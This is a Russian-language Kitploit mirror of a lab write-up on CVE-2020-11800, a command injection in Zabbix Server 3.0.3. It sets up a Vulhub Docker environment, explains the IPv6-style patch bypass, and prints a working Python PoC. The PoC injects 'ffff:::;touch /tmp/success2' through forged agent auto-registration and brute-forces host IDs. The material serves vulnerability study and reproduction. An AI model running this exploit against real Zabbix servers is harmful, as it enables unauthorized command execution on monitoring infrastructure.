Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-11800 — Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов. | Kitploit
Инструменты/GitHubGitHub/ycseo-git/cve-2020-11800
Анализ уязвимостейЭксплуатацияВеб-безопасностьТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubycseo-git/cve-2020-11800

CVE-2020-11800

Эксплойт PoC для CVE-2020-11800 — внедрение команд в Zabbix Server через вредоносную авторегистрацию агента, с доставкой полезной нагрузки на Python и перебором ID хостов.

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Разделы, требуемые методическими указаниями, помечены как «(Обязательно)».

1. Среда (Обязательно)

Dockerfile (Обязательно)

В этой среде используется пользовательский Dockerfile, основанный на уязвимом образе Zabbix Server от Vulhub.

root@kitploit:~
FROM vulhub/zabbix:3.0.3-server

Dockerfile собирает локальный образ, используя уязвимую среду Zabbix Server 3.0.3. В процессе сборки дополнительные пакеты или конфигурации не добавлялись.


docker-compose.yml (Обязательно)

Уязвимая среда настраивается с помощью Docker Compose.

Среда состоит из четырёх сервисов:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web Interface
  • MySQL Database

Сервис server собирается локально с использованием Dockerfile:

root@kitploit:~
server:
  build: .
  image: cve-2020-11800-server

Контейнер MySQL автоматически импортирует SQL-файлы инициализации из каталога src/ с помощью монтирования томов:

root@kitploit:~
volumes:
  - ./src/:/docker-entrypoint-initdb.d/

Это позволяет загружать схему базы данных и начальные данные Zabbix автоматически при запуске контейнера.


Архитектура сервисов (Обязательно)

Среда работает по следующей структуре:

root@kitploit:~
[Браузер]
    ↓
[Zabbix Web]
    ↓
[Zabbix Server]
    ↓
[MySQL]

[Agent] → [Server]

Zabbix Web

Предоставляет веб-интерфейс управления, доступный через браузер.

Администратор настраивает авторегистрацию и выполняет операции мониторинга через этот интерфейс.

Zabbix Server

Основной компонент, отвечающий за:

  • управление агентами
  • выполнение скриптов
  • логику мониторинга
  • обработку событий

Уязвимость внедрения команд срабатывает внутри этого контейнера.

Zabbix Agent

Выступает в роли отслеживаемого хоста и взаимодействует с Zabbix Server.

Эксплойт использует механизм авторегистрации в процессе регистрации агента.

MySQL

Хранит конфигурационные данные Zabbix, информацию о хостах и данные мониторинга.


Образы и версии (Обязательно)

СервисОбразВерсия
Zabbix Servervulhub/zabbix3.0.3-server
Zabbix Webvulhub/zabbix3.0.3-web
MySQLmysql5

Среда основана на уязвимом окружении Zabbix 3.0.3, предоставленном Vulhub.

2. Первопричина (Обязательно)

Описание уязвимости (Обязательно)

CVE-2020-11800 — это уязвимость внедрения команд в функциональности Active Proxy Trapper Zabbix Server.

Уязвимость существует из-за неполного исправления для CVE-2017-2824. Злоумышленник может обойти оригинальный патч, используя полезную нагрузку в стиле IPv6, и выполнить произвольные команды на Zabbix Server.

Уязвимость срабатывает в процессе авторегистрации, когда сервер обрабатывает информацию о хосте, контролируемую пользователем.


Анализ первопричины (Обязательно)

Коренная причина уязвимости — небезопасная обработка пользовательского ввода внутри shell-команд.

Во время выполнения скрипта Zabbix Server использует зарегистрированное значение IP-адреса хоста для формирования команд, например:

root@kitploit:~
ping <host_ip>

В обычных условиях:

root@kitploit:~
ping 127.0.0.1

Однако если злоумышленник регистрирует хост, используя следующую полезную нагрузку:

root@kitploit:~
ffff:::;touch /tmp/success2

то итоговая команда, выполняемая оболочкой, становится:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Поскольку точка с запятой (;) действует как разделитель команд оболочки, она интерпретирует ввод как две отдельные команды:

root@kitploit:~
ping ffff:::
touch /tmp/success2

В результате становится возможным выполнение произвольных команд.

Обход патча с помощью IPv6

Оригинальный патч для CVE-2017-2824 пытался ограничить вредоносные входные значения.

Однако логика проверки не обрабатывала должным образом ввод в стиле IPv6.

Полезная нагрузка:

root@kitploit:~
ffff:::;touch /tmp/success2

использует префикс, подобный IPv6 (ffff:::), для обхода существующей логики проверки, при этом всё ещё внедряя метасимволы оболочки.

Это позволяет злоумышленникам обойти предыдущий патч и продолжать эксплуатировать уязвимость внедрения команд.


Процесс срабатывания уязвимости (Обязательно)

Процесс эксплуатации происходит в следующем порядке:

root@kitploit:~
Злоумышленник
 ↓
Регистрация поддельного агента
 ↓
Сохранение вредоносного IP
 ↓
Выполнение скрипта Zabbix
 ↓
Формирование shell-команды
 ↓
Внедрение команды
 ↓
Выполнение произвольной команды

Сначала злоумышленник отправляет вредоносный запрос авторегистрации, содержащий подделанное поле IP.

После регистрации хоста Zabbix Server выполняет скрипт мониторинга, используя сохранённое значение IP-адреса хоста.

В ходе этого процесса вредоносная нагрузка интерпретируется оболочкой, что приводит к выполнению произвольных команд.


Схема атаки и последствия (Обязательно)

Эксплойт позволяет злоумышленникам выполнять произвольные команды с привилегиями процесса Zabbix Server.

В этой среде успешная эксплуатация создала следующий файл внутри контейнера сервера:

root@kitploit:~
/tmp/success2

Это подтверждает, что внедрённые shell-команды были успешно выполнены.

В реальной среде успешная эксплуатация может позволить злоумышленникам:

  • выполнять произвольные системные команды
  • загружать и запускать вредоносное ПО
  • проводить внутреннюю разведку
  • перемещаться к другим системам
  • компрометировать инфраструктуру мониторинга

Уязвимость особенно опасна, поскольку серверы мониторинга часто имеют доступ к нескольким внутренним системам и компонентам инфраструктуры.

3. PoC (Обязательно)

Обзор PoC (Обязательно)

Доказательство концепции (PoC) написано на Python и взаимодействует напрямую с Zabbix Server через TCP-порт 10051.

PoC выполняет следующие действия:

  1. Отправляет вредоносный запрос авторегистрации
  2. Подбирает валидные значения hostid перебором
  3. Запускает выполнение скрипта с внедрённой полезной нагрузкой

Код PoC

root@kitploit:~
import sys
import socket
import json


def send(ip, data):
    conn = socket.create_connection((ip, 10051), 10)
    conn.send(json.dumps(data).encode())
    response = conn.recv(2048)
    conn.close()
    return response


if len(sys.argv) != 2:
    print("Usage: python3 exploit.py <target-ip>")
    sys.exit(1)


target = sys.argv[1]

payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

print("[*] Sending malicious auto-registration request...")
print(send(target, payload))

print("[*] Brute forcing hostid and triggering script execution...")
for i in range(10000, 10500):
    data = send(target, {
        "request": "command",
        "scriptid": 1,
        "hostid": str(i)
    })

    if data and b'failed' not in data:
        print("[+] hostid: %d" % i)
        print(data)

Анализ полезной нагрузки (Обязательно)

Полезная нагрузка, используемая в этом PoC:

root@kitploit:~
ffff:::;touch /tmp/success2

Структура полезной нагрузки

ЧастьНазначение
ffff:::Префикс в стиле IPv6 для обхода проверок
;Разделитель команд оболочки
touch /tmp/success2Произвольная команда, выполняемая на сервере

Полезная нагрузка использует тот факт, что сервер некорректно объединяет управляемые пользователем значения IP в shell-команды.

Назначение

  • Регистрирует поддельный Zabbix Agent
  • Сохраняет вредоносное значение IP на сервере
  • Подготавливает цель для внедрения команд

Полезная нагрузка доставляется через поле ip в процессе авторегистрации.


Процесс выполнения кода PoC (Обязательно)

Запрос авторегистрации

Первый запрос, отправляемый PoC, пытается зарегистрировать вредоносный хост.

root@kitploit:~
payload = {
    "request": "active checks",
    "host": "vulhub",
    "ip": "ffff:::;touch /tmp/success2"
}

Перебор hostid

После регистрации PoC пытается найти валидный hostid.

root@kitploit:~
for i in range(10000, 10500):

PoC перебирает диапазон возможных ID хостов и пытается запустить выполнение скрипта.

Этот шаг необходим, потому что сервер присваивает ID хостов динамически после регистрации.

Запрос выполнения скрипта

Следующий запрос запускает выполнение команды:

root@kitploit:~
{
    "request": "command",
    "scriptid": 1,
    "hostid": str(i)
}

Параметры

ПараметрОписание
requestЗапрос на выполнение скрипта
scriptidID настроенного скрипта Zabbix
hostidID целевого хоста

В этой среде scriptid:1 соответствует скрипту, связанному с ping, который использует значение IP хоста при выполнении команды.

Срабатывание уязвимости

Zabbix Server внутренне формирует shell-команду, аналогичную:

root@kitploit:~
ping ffff:::;touch /tmp/success2

Оболочка интерпретирует это как:

root@kitploit:~
ping ffff:::
touch /tmp/success2

В результате:

  • команда ping завершается ошибкой из-за неверного IPv6-адреса
  • внедрённая команда touch успешно выполняется

Ожидаемый вывод

При успешной эксплуатации может появиться следующий вывод:

root@kitploit:~
ping: bad address 'ffff:::'

Это указывает на то, что полезная нагрузка достигла этапа выполнения shell-команды.

Успешная эксплуатация подтверждается, когда внутри контейнера сервера существует следующий файл:

root@kitploit:~
/tmp/success2

4. Воспроизведение (Обязательно)

Процесс выполнения PoC и эксплойта (Обязательно)

Полный процесс эксплуатации приведён ниже:

root@kitploit:~
Запуск Docker-среды
        ↓
Доступ к веб-интерфейсу Zabbix
        ↓
Включение авторегистрации
        ↓
Запуск exploit.py
        ↓
Регистрация вредоносного хоста
        ↓
Запуск выполнения скрипта
        ↓
Внедрение команды
        ↓
Проверка /tmp/success2

Фактические шаги выполнения эксплуатации (Обязательно)

Настройка среды

Запустите уязвимую среду с помощью Docker Compose.

root@kitploit:~
docker compose up -d

Проверьте, что все контейнеры работают корректно.

root@kitploit:~
docker compose ps

Среда должна включать следующие контейнеры:

  • Zabbix Server
  • Zabbix Agent
  • Zabbix Web
  • MySQL

Доступ к веб-интерфейсу

Откройте браузер и перейдите к веб-интерфейсу Zabbix.

root@kitploit:~
http://127.0.0.1:8080

Учётные данные по умолчанию:

root@kitploit:~
Имя пользователя: admin
Пароль: zabbix

Включение авторегистрации

Для эксплуатации требуется включить функцию авторегистрации.

Перейдите в:

root@kitploit:~
Configuration → Actions

Измените источник событий на:

root@kitploit:~
Auto registration

Создайте новое действие и настройте следующую операцию:

root@kitploit:~
Operation Type: Add Host

Это позволит автоматически добавлять недавно зарегистрированных агентов на сервер.

Запуск эксплойта

Выполните скрипт PoC.

root@kitploit:~
python3 exploit.py 127.0.0.1

PoC отправляет вредоносный запрос авторегистрации и пытается запустить выполнение команд, используя несколько ID хостов.


Анализ результатов (Обязательно)

Пример вывода

При успешной эксплуатации может появиться вывод, похожий на следующий:

root@kitploit:~
hostid: 10106
{"response":"success","data":"ping: bad address 'ffff:::'"}

Это указывает на то, что полезная нагрузка достигла уязвимого пути выполнения shell-команды.

Проверка выполнения команды

Зайдите в контейнер Zabbix Server.

root@kitploit:~
docker exec -it cve-2020-11800-server-1 bash

Проверьте, создала ли внедрённая команда целевой файл.

root@kitploit:~
ls -l /tmp/success2

Успешная эксплуатация выдаёт вывод, аналогичный:

root@kitploit:~
-rw-rw-r-- 1 zabbix zabbix 0 May 10 19:48 /tmp/success2

Это подтверждает, что произвольные команды были успешно выполнены внутри контейнера Zabbix Server.


Скриншоты (Обязательно)

В каталог screenshots/ были включены следующие скриншоты:

Автоматическая регистрация

Результат выполнения PoC

Скачать инструмент